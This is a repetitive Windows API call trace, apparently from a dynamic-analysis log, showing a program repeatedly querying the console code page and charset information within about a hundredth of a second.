	[0087.432] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.432] GetLastError () returned 0xcb
	[0087.432] GetConsoleOutputCP () returned 0x1b5
	[0087.432] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.432] GetLastError () returned 0xcb
	[0087.432] GetConsoleOutputCP () returned 0x1b5
	[0087.432] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.432] GetLastError () returned 0xcb
	[0087.432] GetConsoleOutputCP () returned 0x1b5
	[0087.432] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.432] GetLastError () returned 0xcb
	[0087.432] GetConsoleOutputCP () returned 0x1b5
	[0087.432] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.432] GetLastError () returned 0xcb
	[0087.432] GetConsoleOutputCP () returned 0x1b5
	[0087.432] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.432] GetLastError () returned 0xcb
	[0087.432] GetConsoleOutputCP () returned 0x1b5
	[0087.432] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.432] GetLastError () returned 0xcb
	[0087.432] GetConsoleOutputCP () returned 0x1b5
	[0087.433] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.433] GetLastError () returned 0xcb
	[0087.433] GetConsoleOutputCP () returned 0x1b5
	[0087.433] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.433] GetLastError () returned 0xcb
	[0087.433] GetConsoleOutputCP () returned 0x1b5
	[0087.433] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.433] GetLastError () returned 0xcb
	[0087.433] GetConsoleOutputCP () returned 0x1b5
	[0087.433] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.433] GetLastError () returned 0xcb
	[0087.433] GetConsoleOutputCP () returned 0x1b5
	[0087.433] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.433] GetLastError () returned 0xcb
	[0087.433] GetConsoleOutputCP () returned 0x1b5
	[0087.433] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.433] GetLastError () returned 0xcb
	[0087.433] GetConsoleOutputCP () returned 0x1b5
	[0087.433] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.433] GetLastError () returned 0xcb
	[0087.433] GetConsoleOutputCP () returned 0x1b5
	[0087.433] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.433] GetLastError () returned 0xcb
	[0087.433] GetConsoleOutputCP () returned 0x1b5
	[0087.433] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.433] GetLastError () returned 0xcb
	[0087.433] GetConsoleOutputCP () returned 0x1b5
	[0087.434] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.434] GetLastError () returned 0xcb
	[0087.434] GetConsoleOutputCP () returned 0x1b5
	[0087.434] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.434] GetLastError () returned 0xcb
	[0087.434] GetConsoleOutputCP () returned 0x1b5
	[0087.434] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.434] GetLastError () returned 0xcb
	[0087.434] GetConsoleOutputCP () returned 0x1b5
	[0087.434] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.434] GetLastError () returned 0xcb
	[0087.434] GetConsoleOutputCP () returned 0x1b5
	[0087.434] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.434] GetLastError () returned 0xcb
	[0087.434] GetConsoleOutputCP () returned 0x1b5
	[0087.434] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.434] GetLastError () returned 0xcb
	[0087.434] GetConsoleOutputCP () returned 0x1b5
	[0087.434] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.434] GetLastError () returned 0xcb
	[0087.434] GetConsoleOutputCP () returned 0x1b5
	[0087.434] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.434] GetLastError () returned 0xcb
	[0087.434] GetConsoleOutputCP () returned 0x1b5
	[0087.434] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.434] GetLastError () returned 0xcb
	[0087.434] GetConsoleOutputCP () returned 0x1b5
	[0087.435] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.435] GetLastError () returned 0xcb
	[0087.435] GetConsoleOutputCP () returned 0x1b5
	[0087.435] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.435] GetLastError () returned 0xcb
	[0087.435] GetConsoleOutputCP () returned 0x1b5
	[0087.435] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.435] GetLastError () returned 0xcb
	[0087.435] GetConsoleOutputCP () returned 0x1b5
	[0087.435] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.435] GetLastError () returned 0xcb
	[0087.435] GetConsoleOutputCP () returned 0x1b5
	[0087.435] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.435] GetLastError () returned 0xcb
	[0087.435] GetConsoleOutputCP () returned 0x1b5
	[0087.435] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.435] GetLastError () returned 0xcb
	[0087.435] GetConsoleOutputCP () returned 0x1b5
	[0087.435] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.435] GetLastError () returned 0xcb
	[0087.435] GetConsoleOutputCP () returned 0x1b5
	[0087.435] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.435] GetLastError () returned 0xcb
	[0087.435] GetConsoleOutputCP () returned 0x1b5
	[0087.435] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaf000, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaf000) returned 0
	[0087.435] GetLastError () returned 0xcb
	[0087.435] GetConsoleOutputCP () returned 0x1b5
	[0087.436] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.436] GetLastError () returned 0xcb
	[0087.436] GetConsoleOutputCP () returned 0x1b5
	[0087.436] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.436] GetLastError () returned 0xcb
	[0087.436] GetConsoleOutputCP () returned 0x1b5
	[0087.436] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.436] GetLastError () returned 0xcb
	[0087.436] GetConsoleOutputCP () returned 0x1b5
	[0087.436] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.436] GetLastError () returned 0xcb
	[0087.436] GetConsoleOutputCP () returned 0x1b5
	[0087.436] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.436] GetLastError () returned 0xcb
	[0087.436] GetConsoleOutputCP () returned 0x1b5
	[0087.436] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.436] GetLastError () returned 0xcb
	[0087.436] GetConsoleOutputCP () returned 0x1b5
	[0087.436] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.436] GetLastError () returned 0xcb
	[0087.436] GetConsoleOutputCP () returned 0x1b5
	[0087.436] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.436] GetLastError () returned 0xcb
	[0087.436] GetConsoleOutputCP () returned 0x1b5
	[0087.436] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.436] GetLastError () returned 0xcb
	[0087.436] GetConsoleOutputCP () returned 0x1b5
	[0087.436] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.436] GetLastError () returned 0xcb
	[0087.437] GetConsoleOutputCP () returned 0x1b5
	[0087.437] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.437] GetLastError () returned 0xcb
	[0087.437] GetConsoleOutputCP () returned 0x1b5
	[0087.437] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.437] GetLastError () returned 0xcb
	[0087.437] GetConsoleOutputCP () returned 0x1b5
	[0087.437] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.437] GetLastError () returned 0xcb
	[0087.437] GetConsoleOutputCP () returned 0x1b5
	[0087.437] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.437] GetLastError () returned 0xcb
	[0087.437] GetConsoleOutputCP () returned 0x1b5
	[0087.437] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.437] GetLastError () returned 0xcb
	[0087.437] GetConsoleOutputCP () returned 0x1b5
	[0087.437] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.437] GetLastError () returned 0xcb
	[0087.437] GetConsoleOutputCP () returned 0x1b5
	[0087.437] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.437] GetLastError () returned 0xcb
	[0087.437] GetConsoleOutputCP () returned 0x1b5
	[0087.437] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.437] GetLastError () returned 0xcb
	[0087.437] GetConsoleOutputCP () returned 0x1b5
	[0087.437] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.437] GetLastError () returned 0xcb
	[0087.437] GetConsoleOutputCP () returned 0x1b5
	[0087.438] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.438] GetLastError () returned 0xcb
	[0087.438] GetConsoleOutputCP () returned 0x1b5
	[0087.438] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.438] GetLastError () returned 0xcb
	[0087.438] GetConsoleOutputCP () returned 0x1b5
	[0087.438] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.438] GetLastError () returned 0xcb
	[0087.438] GetConsoleOutputCP () returned 0x1b5
	[0087.438] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.438] GetLastError () returned 0xcb
	[0087.438] GetConsoleOutputCP () returned 0x1b5
	[0087.438] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.438] GetLastError () returned 0xcb
	[0087.438] GetConsoleOutputCP () returned 0x1b5
	[0087.438] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.438] GetLastError () returned 0xcb
	[0087.438] GetConsoleOutputCP () returned 0x1b5
	[0087.438] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.438] GetLastError () returned 0xcb
	[0087.438] GetConsoleOutputCP () returned 0x1b5
	[0087.438] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.438] GetLastError () returned 0xcb
	[0087.438] GetConsoleOutputCP () returned 0x1b5
	[0087.438] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.438] GetLastError () returned 0xcb
	[0087.438] GetConsoleOutputCP () returned 0x1b5
	[0087.439] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.439] GetLastError () returned 0xcb
	[0087.439] GetConsoleOutputCP () returned 0x1b5
	[0087.439] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.439] GetLastError () returned 0xcb
	[0087.439] GetConsoleOutputCP () returned 0x1b5
	[0087.439] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.439] GetLastError () returned 0xcb
	[0087.439] GetConsoleOutputCP () returned 0x1b5
	[0087.439] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.439] GetLastError () returned 0xcb
	[0087.439] GetConsoleOutputCP () returned 0x1b5
	[0087.439] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.439] GetLastError () returned 0xcb
	[0087.439] GetConsoleOutputCP () returned 0x1b5
	[0087.439] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.439] GetLastError () returned 0xcb
	[0087.439] GetConsoleOutputCP () returned 0x1b5
	[0087.439] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.439] GetLastError () returned 0xcb
	[0087.439] GetConsoleOutputCP () returned 0x1b5
	[0087.439] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.439] GetLastError () returned 0xcb
	[0087.439] GetConsoleOutputCP () returned 0x1b5
	[0087.439] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.439] GetLastError () returned 0xcb
	[0087.439] GetConsoleOutputCP () returned 0x1b5
	[0087.440] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.440] GetLastError () returned 0xcb
	[0087.440] GetConsoleOutputCP () returned 0x1b5
	[0087.440] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.440] GetLastError () returned 0xcb
	[0087.440] GetConsoleOutputCP () returned 0x1b5
	[0087.440] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.440] GetLastError () returned 0xcb
	[0087.440] GetConsoleOutputCP () returned 0x1b5
	[0087.440] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.440] GetLastError () returned 0xcb
	[0087.440] GetConsoleOutputCP () returned 0x1b5
	[0087.440] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.440] GetLastError () returned 0xcb
	[0087.440] GetConsoleOutputCP () returned 0x1b5
	[0087.440] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.440] GetLastError () returned 0xcb
	[0087.440] GetConsoleOutputCP () returned 0x1b5
	[0087.440] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.440] GetLastError () returned 0xcb
	[0087.440] GetConsoleOutputCP () returned 0x1b5
	[0087.440] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.440] GetLastError () returned 0xcb
	[0087.440] GetConsoleOutputCP () returned 0x1b5
	[0087.440] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.440] GetLastError () returned 0xcb
	[0087.440] GetConsoleOutputCP () returned 0x1b5
	[0087.441] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.441] GetLastError () returned 0xcb
	[0087.441] GetConsoleOutputCP () returned 0x1b5
	[0087.441] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.441] GetLastError () returned 0xcb
	[0087.441] GetConsoleOutputCP () returned 0x1b5
	[0087.441] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.441] GetLastError () returned 0xcb
	[0087.441] GetConsoleOutputCP () returned 0x1b5
	[0087.441] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.441] GetLastError () returned 0xcb
	[0087.441] GetConsoleOutputCP () returned 0x1b5
	[0087.441] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.441] GetLastError () returned 0xcb
	[0087.441] GetConsoleOutputCP () returned 0x1b5
	[0087.441] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.441] GetLastError () returned 0xcb
	[0087.441] GetConsoleOutputCP () returned 0x1b5
	[0087.441] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.441] GetLastError () returned 0xcb
	[0087.441] GetConsoleOutputCP () returned 0x1b5
	[0087.441] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.441] GetLastError () returned 0xcb
	[0087.441] GetConsoleOutputCP () returned 0x1b5
	[0087.441] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.441] GetLastError () returned 0xcb
	[0087.441] GetConsoleOutputCP () returned 0x1b5
	[0087.442] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.442] GetLastError () returned 0xcb
	[0087.442] GetConsoleOutputCP () returned 0x1b5
	[0087.442] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.442] GetLastError () returned 0xcb
	[0087.442] GetConsoleOutputCP () returned 0x1b5
	[0087.442] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.442] GetLastError () returned 0xcb
	[0087.442] GetConsoleOutputCP () returned 0x1b5
	[0087.442] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.442] GetLastError () returned 0xcb
	[0087.442] GetConsoleOutputCP () returned 0x1b5
	[0087.442] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.442] GetLastError () returned 0xcb
	[0087.442] GetConsoleOutputCP () returned 0x1b5
	[0087.442] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.442] GetLastError () returned 0xcb
	[0087.442] GetConsoleOutputCP () returned 0x1b5
	[0087.442] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.442] GetLastError () returned 0xcb
	[0087.442] GetConsoleOutputCP () returned 0x1b5
	[0087.442] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.442] GetLastError () returned 0xcb
	[0087.442] GetConsoleOutputCP () returned 0x1b5
	[0087.442] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.442] GetLastError () returned 0xcb
	[0087.442] GetConsoleOutputCP () returned 0x1b5
	[0087.443] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.443] GetLastError () returned 0xcb
	[0087.443] GetConsoleOutputCP () returned 0x1b5
	[0087.443] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.443] GetLastError () returned 0xcb
	[0087.443] GetConsoleOutputCP () returned 0x1b5
	[0087.443] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.443] GetLastError () returned 0xcb
	[0087.443] GetConsoleOutputCP () returned 0x1b5
	[0087.443] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.443] GetLastError () returned 0xcb
	[0087.443] GetConsoleOutputCP () returned 0x1b5
	[0087.443] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.443] GetLastError () returned 0xcb
	[0087.443] GetConsoleOutputCP () returned 0x1b5
	[0087.443] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.443] GetLastError () returned 0xcb
	[0087.443] GetConsoleOutputCP () returned 0x1b5
	[0087.443] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.443] GetLastError () returned 0xcb
	[0087.443] GetConsoleOutputCP () returned 0x1b5
	[0087.443] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.443] GetLastError () returned 0xcb
	[0087.443] GetConsoleOutputCP () returned 0x1b5
	[0087.443] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0087.443] GetLastError () returned 0xcb
	[0087.443] GetConsoleOutputCP () returned 0x1b5
